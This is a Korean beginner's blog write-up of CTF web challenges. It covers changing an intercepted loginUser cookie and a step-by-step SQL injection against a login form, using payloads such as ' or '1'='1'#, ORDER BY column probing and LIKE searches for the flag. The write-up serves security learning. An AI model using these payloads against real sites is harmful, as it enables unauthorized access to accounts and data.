• Home
  • About
    • PI photo

      PI

      Beginner's Blog

    • Learn More
    • Github
  • Posts
    • All Posts
    • All Tags
    • All Categories
  • Projects

[CTF] CTF 문제 풀이: SQL Injection

📆 Created: 2024.11.26 Tue

Reading time ~2 minutes

Login Bypass 5

  1. id: doldol pw: dol1234 alt text response에서 Set-Cookie: loginUser = doldol이 보인다 alt text
  2. response를 탈취해서 loginUser를 normaltic5로 변경하겠다 alt text

Secret Login

  1. id: doldol pw: dol1234 alt text -> login.php과 logout.php에서 302 응답 코드가 보인다. -> 다른 페이지로 이동시켜준다는 뜻
  2. id: doldol’ and ‘1’ =’1 pw: dol1234 alt text -> sql injection이 가능하다 -> 괄호 X
  3. id: doldol’# pw: dol1234 alt text -> 주석 처리 가능
  4. id: doldol’# pw: asdf alt text -> 식별과 인증 동시에 하는 듯 sql: select id, pw from table where id = ‘id’ and pw = ‘pw’
  5. id: ‘ or ‘1’ = ‘1’# pw: asdf alt text -> ‘ or ‘1’ = ‘1’#이렇게 하면 모든 row를 다 챙겨오는 데 하나 밖에 안 보여지다보니 가장 첫 번째 row만 보여지는 듯
  6. id: login_acc’ # pw: asdf -> X -> 왜 안 되지? -> 표시되는 게 아이디가 아니라 이름인 건가?
  7. id: login_acc’ or ‘1’ = ‘1’ # pw: asdf alt text
  8. id: ‘ or ‘1’ = ‘1’ order by 1, 2, 3 # pw: asdf alt text -> 아이디, 패스워드, 사용자 이름이 있다고 가정하고 시작 … 하나씩 늘려보는 중 …
  9. id: ‘ or ‘1’ = ‘1’ order by 1, 2, 3, 4, 5, 6, 7 # pw: asdf -> x -> column이 6개인 걸 보면 표시되는 게 아이디가 아니라 이름일 가능성이 높네 -> admin의 row를 어떻게 가져올 수 있을까?
  10. SELECT [UserId], [Password] FROM [table] WHERE [UserId] = ‘’ AND [Password] = ‘’ column을 UserName일 것이라 추측해봄 id: ‘ or ‘1’ = ‘1’ AND UserName = ‘login_acc’ # pw: asdf -> X
  11. id: ‘ or ‘1’ = ‘1’ AND Username = ‘login_acc’ # pw: asdf -> X
  12. id: ‘ or ‘1’ = ‘1’ AND username = ‘login_acc’ # pw: asdf -> X
  13. id: ‘ or ‘1’ = ‘1’ AND user_name = ‘login_acc’ # pw: asdf -> X
  14. id: ‘ or ‘1’ = ‘1’ AND user-name = ‘login_acc’ # pw: asdf -> X
  15. id: ‘ or ‘1’ = ‘1’ AND name = ‘login_acc’ # pw: asdf alt text -> 표시되는 게 유저명인 게 확실해졌고 -> column이 name이라는 것도 확인했다 -> 그렇지만 admin은 아니라는 거 -> 혹시 name에 like를 집어넣으면? flag의 경우에는 {}가 들어가니까 이걸 검색하는 걸로
  16. SELECT * FROM [table] WHERE [UserId] = ‘’ or ‘1’ = ‘1’ AND name like ‘%}’ #[Password] = ‘’ id: ‘ or ‘1’ = ‘1’ and name like ‘%}’ # pw: asdf -> X -> 어딘가 문법이 틀렸나
  17. id: ‘ or name like ‘%}’ # pw: asdf -> x
  18. id: ‘ or name like ‘%a%’ # pw: asdf alt text
  19. id: ‘ or name like ‘%e%’ # pw: asdf alt text


TILWEBDATABASECTF Share Tweet +1
/#disqus_thread